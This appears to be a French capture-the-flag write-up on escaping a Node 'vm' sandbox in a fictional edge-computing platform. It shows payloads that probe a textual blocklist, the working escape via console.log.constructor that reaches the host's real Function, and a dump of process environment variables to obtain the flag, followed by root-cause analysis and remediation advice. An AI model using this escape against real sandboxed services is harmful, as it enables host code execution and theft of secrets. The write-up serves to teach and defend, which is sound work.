Titan Edge — Évasion de sandbox V8
Contexte
Plateforme d’Edge Computing Serverless (Titan Cloud Technologies) exécutant des micro-fonctions JavaScript dans des isolats V8. Compte “Ingénieur Cloud & Edge Runtime” ([email protected], tier Developer_Standard). L’hyperviseur annonce un validateur d’arbre syntaxique (AST) et un bac à sable isolé interdisant l’accès aux modules internes de l’hôte. Objectif : extraire la clé maîtresse d’infrastructure.
Reconnaissance
Éditeur de Worker permettant d’écrire et d’exécuter du JavaScript dans un “V8 Isolate Sandbox”, avec logs d’exécution détaillés incluant la stack trace Node en cas d’erreur.
Sondage du validateur AST, testé identifiant par identifiant :
| Payload | Résultat |
|---|---|
['pro'+'cess'] |
Accepté (valeur littérale, aucun effet) |
eval('1') |
Accepté, exécuté sans erreur |
Function('return 1')() |
Accepté, exécuté sans erreur |
require('fs') |
Rejeté : identifiant restreint 'require' interdit |
process |
Rejeté : identifiant restreint 'process' interdit |
Conclusion : le validateur bloque une liste de noms littéraux présents n’importe où dans le code source (y compris à l’intérieur de chaînes de caractères — confirmé plus tard), mais ne bloque pas les mécanismes d’exécution dynamique (eval, Function) eux-mêmes. C’est un filtrage textuel superficiel, pas une vraie analyse sémantique de l’arbre syntaxique.
Première tentative (échec) — évasion directe via Function
Function('return this')()→ Exécution réussie, mais :
Function('return proc'+'ess')()→ ReferenceError: process is not defined, avec une stack trace révélant Script.runInContext (node:vm:149) / Object.runInContext (node:vm:301) : confirmation que l’isolat utilise le module vm de Node avec un contexte réellement créé via vm.createContext(). Function construit à l’intérieur du sandbox reste donc contextifié — pas d’évasion par ce biais seul.
La faille — fuite de référence hôte via console
Hypothèse : si un objet hôte (comme console) a été injecté par référence dans le contexte isolé (pratique courante pour permettre les logs depuis le code sandboxé), sa chaîne de prototypes garde un lien vers le vrai Function de l’hôte, non contextifié.
console.log.constructor('return proc'+'ess')()→ Exécution réussie sans erreur process is not defined. Confirmation en affichant une info :
console.log(console.log.constructor('return proc'+'ess')().version)→ v20.19.2 : évasion complète du sandbox V8, exécution dans le contexte réel de l’hôte Node.
Note : le mot "process" devait être construit par concaténation ('proc'+'ess') à chaque usage, le validateur bloquant la sous-chaîne littérale même dans une string.
Extraction de la clé
console.log(console.log.constructor('return proc'+'ess')().env)→ Dump complet des variables d’environnement du processus hôte, incluant directement la clé recherchée (FLAG=...).
Cause racine
- Validateur AST implémenté comme une liste noire de noms d’identifiants recherchés textuellement dans le code source, au lieu d’une vraie analyse de l’arbre syntaxique qui distinguerait identifiants réels, propriétés et contenu de chaînes.
eval/Functionnon interdits, alors que ce sont les primitives les plus dangereuses pour toute politique de sandboxing JS.- Un objet hôte (
console) injecté par référence dans le contextevmisolé, au lieu d’être recréé/wrappé dans le contexte lui-même — sa chaîne de prototypes (.constructor) permettait de remonter jusqu’auFunctionnatif de l’hôte, cassant entièrement l’isolation du modulevm. - Clé sensible stockée en clair dans une variable d’environnement du processus, accessible dès l’obtention d’une exécution de code côté hôte.
Remédiation
- Remplacer le filtrage textuel par une vraie analyse AST (parser le code avec un vrai parseur JS — Acorn, Babel — et interdire les nœuds dangereux :
CallExpressionsureval/Function, accès à des identifiants/propriétés sensibles quel que soit leur contexte syntaxique réel, y compris viaMemberExpressionou accès dynamiques par bracket notation). - Ne jamais injecter un objet de l’hôte par référence dans un contexte
vmisolé : reconstruire ou proxyfier chaque objet exposé (console, timers, etc.) à l’intérieur du nouveau contexte, pour que sa chaîne de prototypes reste contextifiée. - Interdire purement et simplement
eval/Function/GeneratorFunction/AsyncFunctiondans un environnement censé exécuter du code non fiable, ou utiliser une vraie solution d’isolation process-level (isolate V8 dédié avec un nouveau binding complet, container, ou WebAssembly sandboxé) plutôt qu’un simple contextevmpartageant le même processus Node. - Ne jamais stocker de secrets sensibles dans les variables d’environnement d’un processus qui exécute, même sous contrainte, du code potentiellement attaquant.
Ce que j’ai appris
Le module vm de Node n’est pas une frontière de sécurité, et ce challenge le montre proprement : l’isolation tient tant qu’aucune référence hôte ne fuite dans le contexte. Un seul objet injecté par commodité (console, pour les logs) suffit à reconstruire un pont vers l’hôte via .constructor. Côté défense, la leçon est que valider du code par recherche de chaînes est toujours contournable — seule une analyse AST sémantique a un sens.